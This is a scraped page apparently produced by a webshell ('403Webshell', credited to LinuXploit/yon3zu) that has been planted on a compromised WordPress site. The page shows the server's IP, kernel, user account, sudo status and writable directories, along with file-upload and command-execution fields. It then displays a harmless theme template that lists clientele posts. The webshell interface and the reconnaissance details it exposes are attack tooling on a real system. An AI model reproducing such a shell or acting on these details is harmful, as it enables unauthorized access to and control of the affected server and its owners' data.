403Webshell
Server IP : 35.154.56.2  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-0-189 6.8.0-1029-aws #31-Ubuntu SMP Wed Apr 23 18:20:04 UTC 2025 aarch64
User : ubuntu ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/prima-automation.com/html/wp-content/themes/bapl/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/prima-automation.com/html/wp-content/themes/bapl/views/view-clientele.php
<?php
    $taxonomyClientele = get_terms(array('taxonomy' => 'clienteletypes', 'hide_empty' => false, 'parent' => 0, 'posts_per_page' => -1));    
    if(is_array($taxonomyClientele) && count($taxonomyClientele)) :
        $i=0;
        foreach($taxonomyClientele as $type) {
            $args = array('post_type' => 'clientele', 'tax_query' => array( array( 'taxonomy' => 'clienteletypes', 'field' => 'slug', 'terms' => array($type->slug) ) ), 'post_status' => 'publish', 'posts_per_page' => -1);
            $clienteleQuery = new WP_Query($args);        
            if($i!=0) echo '<br><br>';
            ?>
            <h2 class="text-left"><?php echo $type->name; ?></h2>            
            <?php
            if ($clienteleQuery->have_posts()) :                        
                ?><div class="row"><?php
                while ($clienteleQuery->have_posts()) : $clienteleQuery->the_post();
                    $imgSRC = get_the_post_thumbnail_url();
                    ?>
                    <div class="col-md-3 col-sm-6 col-xs-6">
                        <div class="item"><a href="javascript:;"><img src="<?php echo $imgSRC; ?>" alt="<?php echo get_the_title(); ?>"></a></div>
                        <p><?php echo get_the_title(); ?></p>
                    </div>
                    <?php
                endwhile;
                ?></div><?php
            endif;
            
            $i++;
        }        
    endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit